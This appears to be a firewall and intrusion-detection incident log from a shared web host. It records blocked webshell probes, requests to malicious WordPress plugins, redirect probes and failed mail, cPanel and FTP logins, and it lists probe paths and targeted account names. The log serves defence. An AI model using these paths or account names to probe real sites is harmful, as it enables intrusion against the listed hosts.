# incident

plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.16.17
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.188.85
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.98.61.154
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/modernizr/img/photos/index.php||SC:/home2/pspolycom/public_html/js/master||


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.165.36
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.5.166.214
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.16.26
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/news-n-events/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.88.159
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery.lazyload/img/demos/master/style-switcher/index.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.48.25.24
country_id: 6252001
description:
[2026-01-30 16:58:10 +0800] info [cpaneld] 86.48.25.24 - usfood "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usfood (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.11.10
country_id: 2017370
description:
2026-01-30 16:58:03 dovecot_login authenticator failed for H=([213.234.11.10]) [213.234.11.10]:39408: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/img/photos/img/photos/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/img/photos/vendor/modernizr/news.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.91.97.193
country_id: 2750405
description:
2026-01-30 16:59:37 dovecot_login authenticator failed for H=193.97.91.34.bc.googleusercontent.com (10.164.0.2) [34.91.97.193]:49487: 535 Incorrect authentication data (set_id=hrd@kendek.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.easy-pie-chart/img/demos/master/style-switcher/news.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/bootstrap/js/img/product.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.254.54
country_id: 1269750
description:
2026-01-30 17:01:18 dovecot_login authenticator failed for H=([128.185.254.54]) [128.185.254.54]:44242: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.31.154
country_id: 1269750
description:
2026-01-30 17:01:38 dovecot_login authenticator failed for H=([103.251.31.154]) [103.251.31.154]:46316: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.238.2.7
country_id: 3469034
description:
2026-01-30 17:01:29 dovecot_login authenticator failed for H=45-238-2-7.netmaisfibra.net.br [45.238.2.7]:41604: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-01-30 17:01:30 dovecot_login authenticator failed for H=([182.95.119.30]) [182.95.119.30]:48624: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.146.93.14
country_id: 1668284
description:
2026-01-30 17:01:54 dovecot_login authenticator failed for H=(122-146-93-14.adsl.static.sparqnet.net) [122.146.93.14]:52296: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.238.92.245
country_id: 2623032
description:
2026-01-30 17:02:03 dovecot_login authenticator failed for H=(84-238-92-245.ptr.bnaa.dk) [84.238.92.245]:59576: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.easy-pie-chart/img/demos/master/style-switcher/about.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: modsec
rule: 77350392
name: IM360 WAF: Interaction with fake plugin
abuser: 89.251.0.147
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoplugins/db.php?u||WPU:||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 89.251.0.147
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/pwnd.php||WPU:||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.16.201.52
country_id: 1814991
description:
2026-01-30 17:03:53 dovecot_login authenticator failed for H=([58.16.201.52]) [58.16.201.52]:41982: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/magnific-popup/img/photos/master/style-switcher/new-development.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 89.251.0.147
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Block interaction with malicious plugin||RSV:7.69||T:APACHE||SC:/home/ajpl3424/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/up.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 89.251.0.137
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ajpl3424/public_html/wp-admin||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.48.224
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=307874 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 89.251.0.137
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ajpl3424/public_html/wp-includes||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 89.251.0.147
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/bootstrap.php||SC:/home/ajpl3424/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 89.251.0.143
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/uploads/file.php||SC:/home/ajpl3424/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 89.251.0.115
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/uploads/wp.php||SC:/home/ajpl3424/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/img/demos/vendor/common/clientele.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 89.251.0.115
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/index.php||WPU:||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 89.251.0.115
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoo/about.php||WPU:||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 89.251.0.137
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/images/class-config.php||SC:/home/ajpl3424/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.248.47.114
country_id: 6252001
description:
2026-01-30 17:04:42 dovecot_login authenticator failed for H=(syn-172-248-047-114.res.spectrum.com) [172.248.47.114]:34526: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 89.251.0.137
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:7.69||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-01-30 17:04:06 +0800] info [cpaneld] 165.22.212.32 - cofreth "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: ajresorts.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/ajresortscom/public_html/wp-admin||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 89.251.0.141
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Block interaction with malicious plugin||RSV:7.69||T:APACHE||SC:/home/ajpl3424/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 89.251.0.141
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/core-stab/||WPU:||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-01-30 17:05:28 dovecot_login authenticator failed for H=([125.19.175.93]) [182.95.176.122]:40656: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: ajresorts.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/index.php||SC:/home2/ajresortscom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.146.46
country_id: 1733045
description:
2026-01-30 17:05:37 dovecot_login authenticator failed for H=([49.124.146.46]) [49.124.146.46]:47034: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/master/style-switcher/vendor/jquery-cookie/new-development.php||SC:/home2/pspolycom/public_html/js/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.validation/master/style-switcher/img/photos/new-development.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-30 17:06:12 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:41507: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/images/img/photos/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/vivus/img/demos/master/style-switcher/about.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 17:07:28 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (ptonremon) [87.103.126.54]:19257: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.86
country_id: 1733045
description:
2026-01-30 17:07:35 dovecot_login authenticator failed for H=([49.125.201.86]) [49.125.201.86]:35734: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.218.151
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/training-details.php?id=697285 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jan 30 17:07:49 sv3 pure-ftpd[3201826]: (?@47.84.199.24) [WARNING] Authentication failed for user [admin_figo]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.188.251
country_id: 290557
description:
2026-01-30 17:07:56 dovecot_plain authenticator failed for H=(conces) [91.73.188.251]:60429: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.43.137.90
country_id: 1835841
description:
2026-01-30 17:07:59 dovecot_login authenticator failed for H=([14.43.137.90]) [14.43.137.90]:54886: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.50
country_id: 1668284
description:
2026-01-30 17:08:23 dovecot_login authenticator failed for H=111-70-32-50.emome-ip.hinet.net [111.70.32.50]:38291: 535 Incorrect authentication data (set_id=ysl)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.appear/master/style-switcher/img/demos/about.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.62
country_id: 1149361
description:
2026-01-30 17:08:15 dovecot_login authenticator failed for H=([149.54.62.62]) [149.54.62.62]:34926: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.84.199.24
country_id: 1880251
description:
[2026-01-30 17:08:19 +0800] info [cpaneld] 47.84.199.24 - admin_figo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin_figo (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 17:08:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53482: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.255.96.29
country_id: 3175395
description:
2026-01-30 17:09:44 dovecot_login authenticator failed for H=(sole2-029.alida.it) [130.255.96.29]:5141: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 17:09:49 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:35494: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/img/demos/vendor/jquery/master/style-switcher/new-development.php||SC:/home2/pspolycom/public_html/js/examples/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 17:10:09 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:38364: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-30 17:10:28 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:51925: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery/master/style-switcher/img/demos/clientele.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 17:11:11 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-01-30 17:11:57 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:59558: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-01-30 17:11:17 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:18356: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/rs-plugin/js/master/style-switcher/img/photos/new-development.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/vendor/magnific-popup/master/style-switcher/index.php||SC:/home2/pspolycom/public_html/js/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/common/master/style-switcher/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 17:13:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:47925: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 17:13:30 H=(localhost.localdomain) [45.150.192.143]:48276 F=<info@kapkenya.org> temporarily rejected RCPT <info@pspoly.com.my>: Could not complete sender verify


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.72.46.215
country_id: 99237
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/monolog/monolog/doc/03-utilities.md HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.75.21.177
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/img/img/demos/img/img/contact-us.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.77.211.191
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 94.26.106.102
country_id: 2921044
domain: webhosting2u.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.69||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/img/photos/vendor/magnific-popup/news.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Loader/schema/dic/xliff-core/xliff-core-2.0.xsd||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.244.49.63
country_id: 1668284
description:
2026-01-30 17:14:49 dovecot_login authenticator failed for H=(ADMIN) [173.244.49.63]:47966: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-30 17:15:37 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:30858: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 17:15:58 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:45092: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 17:15:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:16272: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery.validation/master/style-switcher/img/contact-us.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/bootstrap/js/master/style-switcher/img/photos/contact-us.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 210.186.161.1
country_id: 1733045
description:
[2026-01-30 17:16:20 +0800] info [webmaild] 210.186.161.1 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/demos/master/style-switcher/vendor/vivus/product.php||SC:/home2/pspolycom/public_html/js/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.143.233
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=1&sub=21 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 17:17:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:54931: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
